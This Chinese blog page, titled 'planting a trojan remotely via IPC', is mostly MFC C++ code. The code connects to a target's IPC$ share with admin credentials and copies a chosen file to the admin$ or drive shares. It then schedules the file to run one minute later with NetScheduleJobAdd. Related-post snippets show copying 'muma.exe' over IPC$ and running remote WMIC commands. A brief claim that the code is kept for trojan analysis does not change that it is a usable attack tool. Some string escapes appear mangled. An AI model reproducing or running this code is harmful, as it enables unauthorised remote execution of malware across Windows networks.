要实现代码例如以下:

/////////////////////////////////////////////////////////////////////////////////////
typedef struct TagHost
{
CString host;
CString user;
CString pass;
CString filename;
CString LocalFilePath;
CListBox* list;
}IPC;
void CShareDlg::OnStart() //启动线程序
{
  UpdateData(TRUE);
  IPC* ipc = new IPC;
  ipc->host = m_host;
  ipc->user = m_user;
  ipc->pass = m_pass;
  ipc->LocalFilePath = m_localfile;
  ipc->filename = filename;
  ipc->list = &m_list;
  AfxBeginThread(ThreadIpcConnect,ipc);
}
/////////////////////////////线程/////////////////////////////////////////////////////
UINT ThreadIpcConnect(LPVOID lpvoid)
{
  IPC* ipc;
  CListBox* list;
  ipc = (IPC*)lpvoid;
  CString host;
  CString admin;
  CString pass;
  CString filename;
  CString localfilepath;
  host = ipc->host ;
  pass = ipc->pass;
  admin = ipc->user;
  localfilepath = ipc->LocalFilePath;
  filename =ipc->filename ;
list = ipc->list;
  BOOL IpcConnect;
  LPTIME_OF_DAY_INFO TimeBuf=NULL;
  NET_API_STATUS Status;
  CString RemoteFilePath,CmdCom("admin$\");
///////////////////////////////IPC连接////////////////////////////////////////////////////////////////
  NETRESOURCE ns;
  TCHAR buf[MAX_PATH];
  wsprintf(buf,"\\%s\ipc$",host);
  ZeroMemory(&ns,sizeof(ns));
  ns.dwScope=RESOURCE_GLOBALNET;
  ns.dwType=RESOURCETYPE_ANY;
  ns.dwDisplayType=RESOURCEDISPLAYTYPE_GENERIC;
  ns.dwUsage=RESOURCEUSAGE_CONNECTABLE;
  ns.lpLocalName="";
  ns.lpRemoteName=buf;
  ns.lpProvider=NULL;
  ns.lpComment=NULL;
  CString hhost = host;
  IpcConnect =WNetAddConnection2(&ns,pass,admin,0);
///建立IPC连接
  if(IpcConnect)
  {
//连接成功后
///////////////////////////连接成功上传文件//////////////////////////////////////////////////////////
    RemoteFilePath=("\\"+host+"\admin$\"+filename);
    IpcConnect=CopyFile(localfilepath,RemoteFilePath,FALSE);
//拷贝文件到admin$(winnt) 假设复制失败,。向其它共享区复制
      if(!IpcConnect)
        {
          RemoteFilePath=("\\"+host+"\C$\"+filename);
          CmdCom="C:\"+filename;
          IpcConnect=CopyFile(localfilepath,RemoteFilePath,FALSE);
            if(!IpcConnect)
            {
               RemoteFilePath=("\\"+host+"\D$\"+filename);
               CmdCom="D:\"+filename;
               IpcConnect=CopyFile(localfilepath,RemoteFilePath,FALSE);
           if(!IpcConnect)
                  {
                     RemoteFilePath=("\\"+host+"\E$\"+filename);
                     CmdCom="E:\"+filename;
                     IpcConnect=CopyFile(localfilepath,RemoteFilePath,FALSE);
                     if(!IpcConnect)
                       {
                        RemoteFilePath ("\\"+host+"\F$\"+filename);
                        CmdCom = "F:\"+filename;
                     IpcConnect = CopyFile(localfilepath,RemoteFilePath,FALSE);
                       }
                  }
              }
         }
///////////////////////////得到远程主机时间///////////////////////////////////////////////////////////
         if(IpcConnect)
         {//获取远程主机时间
           Status=NetRemoteTOD(host.AllocSysString(),(LPBYTE *)&TimeBuf);
            if(Status==NERR_Success)
            {//活取时间成功
///////////////////////////启动目标文件///////////////////////////////////////////////////////////////
              DWORD day=1,JobTime;
              AT_INFO ai;
              day=day*2;
              ai.Command=CmdCom.AllocSysString();
              ai.DaysOfMonth=day;
              ai.DaysOfWeek=0;
              ai.Flags=JOB_NONINTERACTIVE;
              ai.JobTime=((TimeBuf->tod_hours+(-TimeBuf->tod_timezone)/60)%24)*60*60*1000+(TimeBuf->tod_mins+1)*60*1000;
              Status=NetScheduleJobAdd(hhost.AllocSysString(),(LPBYTE)&ai,&JobTime);
              //启动上传的文件,一分钟后启动
              if(Status==NERR_Success)
              {
                list->AddString(host+"启动成功");
              }
              else
                list->AddString(host+"启动失败");
              }
          else
            {
             list->AddString(host+"获取时间失败");
            }
         }
         else
         {
          list->AddString(host+"拷贝文件失败");
         }
    }
    else
    list->AddString(host+"连接失败");
return TRUE;
}
 

代码来自于互联网而且这些代码不过为了备份。供分析木马病毒的时候使用

远程IPC种植木马的更多相关文章

  1. IPC$横向渗透代码实现

    思路 IPC$横向渗透的方法,也是病毒常用的扩散方法. 1.建立连接 2.复制文件到共享中C$.D$.E$.F$ 3.获取服务器的时间 3.设定计划任务按时间执行 用到的Windows API 建立网 ...

  2. 一个DDOS木马后门病毒的分析

    http://blog.csdn.net/qq1084283172/article/details/49305827 一.样本信息 文件名称:803c617e665ff7e0318386e24df63 ...

  3. 内网IPC$种马的三种方法

    copy muma.exe \\host\c$\windows\temp\foobar.exe ##IPC拷贝木马文件 WMIC远程运行命令 wmic /node:host /user:adminis ...

  4. 使用shutdown命令实现局域网内远程关机、重启整蛊他人

    用法: shutdown [/i | /l | /s | /r | /g | /a | /p | /h | /e | /o] [/hybrid] [/soft] [/f]    [/m \\compu ...

  5. 域渗透:IPC$ 命名管道

    介绍:IPC$(Internet Process Connection) 是共享 " 命名管道 " 的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接 ...

  6. linux端口详解

    Linux端口总结如下: 0|无效端口,通常用于分析操作系统 1|传输控制协议端口服务多路开关选择器 2|管理实用程序 3|压缩进程 5|远程作业登录 7|回显 9|丢弃 11|在线用户 13|时间 ...

  7. 小白日记21:kali渗透测试之提权(一)--本地提权

    本地提权 简单地说,本地提权漏洞就是说一个本来非常低权限.受限制的用户,可以提升到系统至高无上的权限.权限提升漏洞通常是一种"辅助"性质的漏洞,当黑客已经通过某种手段进入了目标机器 ...

  8. ASP漏洞+SQL注入的入侵方法

    本文就是想对装上了防火墙的主机,进行入侵攻击的大概思路小结一下. 首先当然是用扫描器对这台服务器(以下简称主机A)进行常规的扫描,得到初步的信息.再用nmap -sS IP -P0 -p 139 ,透 ...

  9. port与大全portClose方法

    在网络技术,port(Port)通常,有两种含义:首先,物理意义port,例,ADSL Modem.枢纽.开关.路由器连接其他网络设备的接口,如RJ-45port.SCport等等.第二个是逻辑意义p ...

随机推荐

  1. 自定义兼容多种Protobuf协议的编解码器

    <从零开始搭建游戏服务器>自定义兼容多种Protobuf协议的编解码器 直接在protobuf序列化数据的前面,加上一个自定义的协议头,协议头里包含序列数据的长度和对应的数据类型,在数据解 ...

  2. 架构:Screaming Architecture(转载)

    Imagine that you are looking at the blueprints of a building. This document, prepared by an architec ...

  3. websocket消息推送实现

    一.服务层 package com.demo.websocket; import java.io.IOException; import java.util.Iterator; import java ...

  4. resin 4.0.xx 版破解方法

    how to crack resin 4.0.2x resin 4.0.3x. 工具:jd http://jd.benow.ca/ 利用jd打开resin 4.0.xx目录下的lib/pro.jar ...

  5. centos7编译安装nginx及无缝升级https

    安装依赖: yum install -y gcc-c++ pcre pcre-devel zlib zlib-devel openssl openssl-devel 下载nginx: wget -c  ...

  6. RAISR: rapid and accurate image super resolution

      准确地说,RAISR并不是用来压缩图像的,而是用来upsample图像的. 众所周知,图片缩小到半分辨率后,在拉回原大小,会出现强烈的锯齿.从80年代开始就有很多super sampling的方法 ...

  7. [转]Nginx 502 PHP LNMP 502 终极解决方案 完美解决502 用 upstream 和 fastcgi_next_upstream 可以极大缓解

    转: http://xn--ghqyhzj.com/post-21537.html 本文针对LNMP的PHP 版本ver 5.3.6 or Higher,其它未测试过. 1. 使用不同端口或php-f ...

  8. 内核态(Kernel Mode)与用户态(User Mode)

    内核态: CPU可以访问内存所有数据, 包括外围设备, 例如硬盘, 网卡. CPU也可以将自己从一个程序切换到另一个程序 用户态: 只能受限的访问内存, 且不允许访问外围设备. 占用CPU的能力被剥夺 ...

  9. 异常捕获 UncaughtExceptionHandler MD

    Markdown版本笔记 我的GitHub首页 我的博客 我的微信 我的邮箱 MyAndroidBlogs baiqiantao baiqiantao bqt20094 baiqiantao@sina ...

  10. C# 二种方法控制系统音量/麦克风大小

    场景:在做播放设备的时候需要控制音量的大小,下面几种方法将满足你的要求 方法一: 改变系统音量设置 ? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ...